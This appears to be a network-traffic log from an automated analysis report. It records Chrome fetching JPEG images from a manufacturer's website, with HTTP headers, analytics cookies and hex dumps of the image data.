2024-10-07 11:17:38 UTC	654	OUT	GET /2016/wp-content/uploads/2015/09/twb-video-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:38 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:54:04 GMT Accept-Ranges: bytes Content-Length: 18989 Content-Type: image/jpeg
2024-10-07 11:17:38 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 31 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky21http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: eb 3f 95 76 fd cb 76 e5 4b fb c7 e8 db e7 47 f3 3f 81 e2 bb 1b ba ba 0f 6f 6d af cb 7f ea bd dd f9 25 58 43 52 50 59 2a 9e ad 31 31 ae f7 88 cd a7 a4 3c fb a6 27 65 2b 33 88 8e b2 fd 83 c1 64 b2 0d 0f 1b 0f a9 9d b7 37 e5 f5 ff 00 e9 94 97 d4 7e dd 8a ab f5 ff 00 b0 72 f8 76 fd b2 eb f3 6a fb a1 eb 4c 78 d7 f5 3b b6 56 6e ff 00 fd 30 7f 13 bb 67 9d ff 00 fa 66 67 56 cf b6 4f 97 5f dd 0f 66 63 e5 f4 3e e0 e9 fd c3 b7 b9 b9 e9 ee 7a 2d 4b 44 bd 48 e9 75 cc fa 86 26 26 27 13 d2 5b 89 89 8c c7 58 97 8c ef 7e d5 db 6f f6 d3 ea bb 5b 6a 1b bb 2b 55 d5 15 4f 52 0b 3a f8 a3 f3 cd be d6 db a1 fb ac e0 ae 42 76 e4 ab 19 a7 16 bc 1a a1 f8 2e e6 f3 da ef f7 3b 64 f0 b5 76 70 5e c4 cf a3 e1 6d e9 35 b7 5c 76 7c ff 00 37 57 58 b5 7a 67 bb ec 59 b3 18 aa 71 3b b6 5b 2b Data Ascii: ?vvKG?om%XCRPY*11<'e+3d7~rvjLx;Vn0gfgVO_fc>z-KDHu&&'[X~o[j+UOR:Bv.;dvp^m5\v\|7WXzgYq;[+
2024-10-07 11:17:38 UTC	3031	IN	Data Raw: 4b 92 a6 00 0c cb 2c 15 09 db 5c 4a 54 23 49 d1 31 6d ac 1b 05 c7 85 39 8c b0 40 30 1e 26 a9 b8 54 03 80 12 40 a8 56 2d 20 8a 5e 49 28 2f 02 54 2b 7d e2 bd 84 8a 92 b5 98 f9 59 19 45 6a 7e d2 f6 7e 4f 79 19 ba 49 85 98 e8 d6 e3 e7 54 29 7a 2d c3 d8 4e db f3 a2 f3 c6 0d 11 3d 1c 7a 59 d3 18 b7 14 73 54 e9 b6 eb 04 54 84 2f c6 92 af 30 59 6e ad 15 dc 63 1a f2 23 6d d2 68 a6 15 75 67 2c d3 8c 9a e4 76 90 be bf 48 24 8c 5d 62 98 24 b5 26 9f 10 59 92 c6 2c a3 a0 1c 51 96 89 e3 ec 65 ea 98 97 e0 aa a4 bd e3 5a 6a 51 a7 14 54 c0 49 6a 4d 1c d1 93 b7 3d 2c eb 69 54 85 fb 5a 96 a5 9a 19 26 0c d8 ad 8b 65 d5 69 79 a2 9a 3c 40 e5 b8 9d b9 6b 8e 43 a9 a9 aa a1 e5 0a a6 99 cb 49 5a 9f ea 84 c2 cd 89 24 a4 a8 c6 a5 55 40 d3 5c 0a 39 9c a5 66 54 fd 16 53 55 71 59 06 71 Data Ascii: K,\JT#I1m9@0&T@V- ^I(/T+}YEj~~OyIT)z-N=zYsTT/0Ync#mhug,vH$]b$&Y,QeZjQTIjM=,iTZ&eiy<@kCIZ$U@\9fTSUqYq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49960	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:38 UTC	938	OUT	GET /2016/wp-content/uploads/2015/08/door-inner-headerless.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:38 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:47 GMT Accept-Ranges: bytes Content-Length: 66912 Content-Type: image/jpeg
2024-10-07 11:17:38 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 31 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky<1http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: ca f0 1d 19 6b 79 97 10 3d 41 4d 1d f6 db d9 56 3a 64 7f 15 23 5b 25 d0 a7 77 98 60 dc 78 d0 f3 59 b7 55 25 7a ca ce f9 5e e7 3b 36 39 9d d0 ac 4a e5 f7 15 fe 5b 18 60 68 c6 ee e6 b5 fc 08 1a 4d 3f 39 e3 d0 ba 46 50 b2 e6 ce c0 79 b6 be 93 4f 91 07 a5 45 00 6d 85 a3 47 28 db 87 99 48 8b a3 89 e2 46 81 8b 46 25 06 fc da a7 dd 7a 45 dd d3 4d 27 91 86 28 8f 3e de 07 da b5 d5 2b cf 01 75 cd ec 51 9a 92 e7 35 b4 e9 a9 09 55 e8 9a a5 c3 21 b7 9a 47 c8 1a c8 63 73 ce 6e 41 8d a8 18 75 04 90 7a 67 87 56 b2 5a ec 1d bb 04 ad cb 30 d3 ad 5d 33 4f 29 1f 13 5c ff 00 dd 12 ad e5 b8 e8 94 51 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 06 ae ab aa 58 e9 5a 6d ce a5 7f 28 86 ce d2 33 2c d2 1a 9a 35 bd 00 62 49 e0 00 c4 9c 02 0f 1f Data Ascii: ky=AMV:d#[%w`xYU%z^;69J[`hM?9FPyOEmG(HFF%zEM'(>+uQ5U!GcsnAuzgVZ0]3O)\QXZm(3,5bI
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: e0 c8 32 34 f1 44 d7 51 6b 6d 14 31 b6 36 80 00 18 20 ca 5b 43 d4 a0 00 73 20 a9 03 35 10 53 ba a8 34 45 69 69 d0 fd a5 de 1f cb b8 1f cc 6a 90 ad d7 42 a8 ab 21 08 8c 37 4d 01 a7 a9 05 a6 b4 a0 54 50 34 9e 38 a8 32 32 2a f1 54 66 74 07 2e 03 14 44 e6 8b b5 ae 2e 23 37 17 34 8a 16 82 45 70 26 9c d4 d5 4f ed 1b 19 63 d5 e1 96 d7 2b 28 ec d5 38 82 19 da 70 15 e2 68 b5 8c eb 94 be b4 b8 1b c2 6b a7 82 7b e7 be 42 ee a7 54 ac e6 46 b7 5b a2 d2 59 e3 8f 23 5c f2 45 00 68 a9 26 ab 35 a8 9a d3 bc 3e d6 ae 5c 0c c0 5a b0 e3 95 dd a7 fe 63 6a 47 9d 07 7f a1 ed cd 2f 4a 22 e1 c4 c9 3c 60 87 4a e2 28 da 8a 1c 07 65 b8 74 b9 6f af 5c e5 35 c5 ea fa 66 82 cb d7 b6 cf 51 b4 0d 75 6b 11 98 f6 6a 79 3f 29 61 fc e0 99 19 d6 91 da f7 12 38 9b 57 36 66 f1 0f 8a 48 64 f5 47 Data Ascii: 24DQkm16 [Cs 5S4EiijB!7MTP4822*Tft.D.#74Ep&Oc+(8phk{BTF[Y#\Eh&5>\ZcjG/J"<`J(eto\5fQukjy?)a8W6fHdG
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 9a 68 e0 dd 14 b0 ca f8 66 69 64 b1 b8 b5 ec 38 10 e0 68 41 44 64 cc 48 08 0e 77 60 92 83 42 4e 3e 52 8a 8f be 35 92 83 80 5a 88 d5 2d 6b ad af c1 38 f7 15 1f 92 f6 94 a4 40 69 cc ac 7e 57 1f 6a 55 4d 69 f1 91 a8 42 47 29 47 b5 4a 8e da cd c3 e2 80 e2 33 b4 9f 20 35 5a 88 e2 84 9d e4 f7 32 93 52 e7 13 5f 5a b5 5a 51 44 66 be 64 63 8b 88 00 75 93 45 8a b1 f5 0e db 95 90 69 4f 2e 76 56 c6 ca 03 d5 1b 72 8f 53 57 92 cf ae d1 35 e1 95 bb 61 d8 ba 4c 80 d7 e3 62 76 a0 e2 7a 6f a4 75 d1 f5 cc bd ce 4e 9d 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 07 8c 5b 5c 99 27 d4 ae 09 2e 75 c6 a7 77 23 5c 3e a3 ae 5e 23 ff 00 8b 0d 53 b3 25 bb 6b be f4 7a fb b6 ec 9e ed dd 5d dc 6e 20 fe e5 73 fd ad 46 cd b3 4b ad f3 34 e2 6a 4a ca Data Ascii: hfid8hADdHw`BN>R5Z-k8@i~WjUMiBG)GJ3 5Z2R_ZZQDfdcuEiO.vVrSW5aLbvzouN[\'.uw#\>^#S%kz]n sFK4jJ
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: d2 87 31 6f 71 5f 3c 91 7f 15 67 b0 f3 bd d3 25 76 95 c5 0e 26 66 7a aa b9 f6 e6 11 33 e0 cb 8b 36 8b a4 18 91 3c 66 9f d2 39 4f ec fc 6b ab bf d4 63 86 e2 d2 49 1c 5c 28 4b b2 8c 31 eb a2 e5 1a ae 3e 52 d2 f3 96 b8 70 23 9a e8 c3 61 9d ab 60 5f d9 22 a4 56 80 83 e7 35 41 ce ee 70 3e e0 bc 24 e3 9d 9f 2a d2 3c 23 54 6b 59 70 f2 4d 03 b1 1d 6b 62 1e 69 e2 73 83 43 73 3a b8 05 46 ed 93 fb ba 17 8a 1e 41 11 2f 61 a9 18 d9 28 a0 19 88 a8 1c c5 6b f2 20 96 75 6f 2d 87 77 8f 48 1d 4a 51 d4 6c 0d b3 1e b5 ae 58 e8 e2 56 db 7c 51 7e 79 88 cd 40 c8 dd 21 a3 6a dc c4 e5 a7 1e b4 1b fb b3 41 87 45 dc 37 7a 54 73 0b 9f 84 73 5a 27 0d cb 5c cc 6b e9 4a bb 16 e6 a1 c7 8a 96 2b 56 de d3 20 cd 4a 12 14 1d f6 cc f0 f2 fb 5e d1 e5 d4 fb f6 db 42 73 c7 64 c7 0a 99 65 89 e5 Data Ascii: 1oq_<g%v&fz36<f9OkcI\(K1>Rp#a`_"V5Ap>$*<#TkYpMkbisCs:FA/a(k uo-wHJQlXV\|Q~y@!jAE7zTssZ'\kJ+V J^Bsde
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 96 4a 7d 16 38 fa 02 55 60 f0 76 ca 29 f7 2e 8f 1b c0 76 7b c3 31 af d6 89 ae b8 6f 11 c8 b1 59 f8 3e a3 5d 01 01 01 01 01 01 01 01 01 01 01 01 07 19 bf ed 20 8a e7 4f d4 e5 68 74 12 17 58 5f c6 47 e9 20 99 ae ec 1e aa 67 f4 ac 77 9f 16 3e 49 dd fb 62 5d 33 5a d4 74 af 79 f6 53 c9 1c 6f fa cd 06 ac 77 e5 34 82 a7 5b b1 2a 47 c3 bd c8 eb 49 c5 ac a7 b1 ee b9 b5 e5 fd e4 b0 7a 5c b2 82 d3 90 e6 61 ed 35 dd 45 62 15 25 b4 75 76 5a 6a b0 b6 57 06 b7 38 73 1c 78 07 0e 9e a2 30 2a d2 37 7c 4f c9 a9 ed fb 8d 2a 2a 49 75 a6 cd f1 7a 44 c3 89 68 ae 78 bc 8e 61 34 eb 01 4d 54 5f 86 5b fb b8 b8 b1 bc 99 e3 b9 20 5a de e6 34 a4 4e 23 b6 7a e3 34 3c 38 02 39 ad cf 95 1f 41 2e 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 Data Ascii: J}8U`v).v{1oY>] OhtX_G gw>Ib]3ZtySow4[GIz\a5Eb%uvZjW8sx07\|O**IuzDhxa4MT_[ Z4N#z4<89A.
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 75 d4 75 76 1c 14 54 74 b6 10 bd c5 ce 6d 0f 48 c0 fa 42 0d 01 a1 c3 33 dd 47 96 d0 f6 68 1b 5a 79 68 9a 33 3b 4b bf b6 15 82 52 e0 3e 8b b1 aa a8 f4 4d 81 e3 96 b9 a3 4a cd 3f 5c 0f bf d3 db d9 a3 cd 6e 23 15 fe 4d ee a6 61 f8 2f 3e 42 15 95 5f 42 68 7a f6 91 ae 58 32 ff 00 4b b9 6d cd b3 b0 2e 6e 05 ae e2 5a f6 9a 39 ae ea 2b 63 7d 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 05 1c e6 b5 a5 ce 21 ad 68 a9 27 00 00 41 e5 3b fb c6 bb 3b 38 a5 b2 db 32 32 e2 e2 84 4b aa 9a 3a 08 8f 0f b1 07 09 5d f8 5e e0 c3 de c4 2c da 3c 12 e2 f2 fb 57 ba 78 6b de f1 23 8b e7 9e 42 5c e7 b9 c6 ae 73 9c 71 24 ac a2 66 ca d2 3b 78 84 6c 1c 38 9e 92 83 62 69 5b 0c 64 f3 41 ab 05 b3 a6 77 7d 38 ec 9f 75 87 e5 50 6f c6 d6 01 40 d0 07 42 0c 33 5b 31 e7 30 ec bc 70 70 55 Data Ascii: uuvTtmHB3GhZyh3;KR>MJ?\n#Ma/>B_BhzX2Km.nZ9+c}!h'A;;822K:]^,<Wxk#B\sq$f;xl8bi[dAw}8uPo@B3[10ppU
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 78 87 ed 37 a2 17 69 fa 36 bd 1b 45 6d e5 7d 9d c1 03 12 d9 9b de 46 49 e8 69 89 c3 ca e5 28 f0 58 de 1d 99 b5 a9 1c 7a 16 04 3b 5a 60 bd 73 0f 0a d4 79 0a a3 76 d8 97 4c 1b 88 a9 41 d2 da c0 1d 1b a3 78 ae 61 56 a2 3b df 0c 35 f8 b6 fb ae fe 20 b8 45 33 72 00 00 73 5e 09 c5 af 1f bd 23 81 ea 2b 73 86 6b d1 6e 34 cd 1b 56 73 6e b4 3b a8 df de 37 34 90 34 d5 c1 dc eb 1d 73 b4 f9 88 52 f4 35 13 75 a3 ea 36 ee 76 78 5c 58 d1 da 74 7d b0 3f 1b 2f bb e7 59 bd 6a ca d6 63 a8 40 23 8a ca b3 c6 08 70 73 3b 2e 1c 0a 69 89 29 9b 6f a8 42 d6 5d d5 b2 b0 51 93 8c 48 1d 7d 4b 36 2e a0 ee f4 3d 4a d1 dd ed b8 33 44 31 cf 0e 24 79 5b c9 34 60 b7 dc 37 cc 6f 73 20 6d cc 7c 1d 0c a3 37 97 03 8a d6 a6 Data Ascii: x7i6Em}FIi(Xz;Z`syvLAxaV;5 E3rs^#+skn4Vsn;744sR5u6vx\Xt}?/Yjc@#ps;.i)oB]QH}K6.=J3D1$y[4`7os m\|7
2024-10-07 11:17:39 UTC	2954	IN	Data Raw: f2 7e cb 11 54 f7 7b 99 cd 6d 6a 03 ac 83 8f a4 4e df 62 60 a0 fd 95 d8 3f ff 00 a7 77 fb 10 ff 00 4e 98 0e fd 96 01 22 9b 9c 80 3f ea 3f f7 84 c1 69 fd 95 85 6a 37 41 c3 fe a3 ff 00 78 4c 0f ec b0 fa ff 00 f9 4f ff 00 e8 7f de 53 05 0f ec ac f3 5a ee 91 8f fd 43 fe f2 98 29 fd 95 5f ff 00 ed 23 fd 83 fe f2 98 2b fd 95 df 4a 7e b4 03 5f fa 85 3f fa 94 c1 43 fb 2b 3e 94 1b a0 7f b0 91 ff 00 d4 26 07 f6 58 9b ff 00 d9 9b fe c4 7f d3 a6 07 f6 58 9b ff 00 d9 9b fe c4 7f d3 a6 0a 1f d9 62 62 3f fc 9d bf ec 47 fd 3a 60 b0 fe ca 73 ff 00 fb 40 ff 00 62 3f e9 d3 05 8e fd 93 e6 3f ff 00 d4 37 fd 88 ff 00 da 13 05 ae fd 94 2e 87 b9 b9 d8 7c b6 64 7f 9f 29 83 1f f6 4f d4 39 6e 68 fc 9f 08 ef f4 a9 82 87 f6 4f d4 89 ff 00 f2 48 7f d9 5d fe 91 30 57 fb 28 6a 27 03 b9 Data Ascii: ~T{mjNb`?wN"??ij7AxLOSZC)_#+J~_?C+>&XXbb?G:`s@b??7.\|d)O9nhOH]0W(j'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49958	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:38 UTC	941	OUT	GET /2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:38 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 14 Feb 2018 14:30:19 GMT Accept-Ranges: bytes Content-Length: 18553 Content-Type: image/jpeg
2024-10-07 11:17:38 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 1e 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xm
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 57 d6 d9 2b 31 a4 e9 1e ff 00 ca 0e 36 8b 90 1d 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 f7 bf e8 fa 75 9d 3f c3 64 84 7d ec 6b 87 4f 1d 53 ad 52 21 e2 dc ce 0b da 67 8d 67 9c 33 cf ba 8c ba d7 a6 62 b1 1a cc 35 d7 6d 7b 5e 6d 93 e0 a4 4f 1b 5b 4f 67 06 36 9a 4e b1 59 d2 27 8c eb e5 1c fd 8e 79 b8 c3 4d 73 6b 5a de 73 ca 21 bb 1d 27 26 48 c7 5e 55 f1 f4 f8 b5 d6 71 c7 29 f8 be e4 bc 76 a6 d3 6b 39 ef ce 79 20 f7 71 97 1e c7 6b 69 d7 4b cc 73 f4 b8 ad f6 e6 73 e6 9d 79 25 f7 3e e9 93 75 92 6b 13 f0 ab ba 26 67 d3 25 a9 52 7b 66 c3 26 fb 75 5a 52 23 4f 3f 08 88 e7 69 Data Ascii: W+16@u?d}kOSR!gg3b5m{^mO[Og6NY'yMskZs!'&H^Uq)vk9y qkiKssy%>uk&g%R{f&uZR#O?i
2024-10-07 11:17:39 UTC	2595	IN	Data Raw: 4f d3 5a 66 ee 7d cb 73 fb 79 ab 1a f3 f0 bd dd 43 97 fa 26 b3 6d a6 5c d3 1a 7c cc b6 ff 00 92 2b 5f fa 9d 41 ce 80 06 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 ad cc e9 86 67 c6 26 26 3d 7a c2 1e d3 2e e2 d3 a5 78 c4 73 4b dd ce 98 2d eb af f9 a1 ab b7 7f e3 eb e7 3e de 50 c5 99 eb f8 5f 4a fe eb 48 be b7 e9 d2 d1 c2 55 bd bb 27 cb cd 7c 5f a9 68 99 f5 4e 8b 5e f3 7e 9b e9 e1 35 8d 3d f6 d5 53 b1 ac 5b 35 e7 f7 74 fb 58 ea 62 d5 f6 81 de ed 3f d5 60 c7 1c 38 45 b2 7a 6b af 52 97 6f f3 37 3b b9 9a 70 8b 4d a7 87 0d 2b 33 af b9 63 dd 32 Data Ascii: OZf}syC&m\\|+_Ag&&=z.xsK->P_JHU'\|_hN^~5=S[5tXb?`8EzkRo7;pM+3c2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49964	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:38 UTC	649	OUT	GET /2016/wp-content/uploads/2015/08/generic-bg.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:38 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 25 Jan 2024 15:41:27 GMT Accept-Ranges: bytes Content-Length: 165619 Content-Type: image/jpeg
2024-10-07 11:17:38 UTC	7957	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 32 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 37 37 37 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 33 3a 35 37 3a 31 34 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: ExifII*Ducky<2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RD
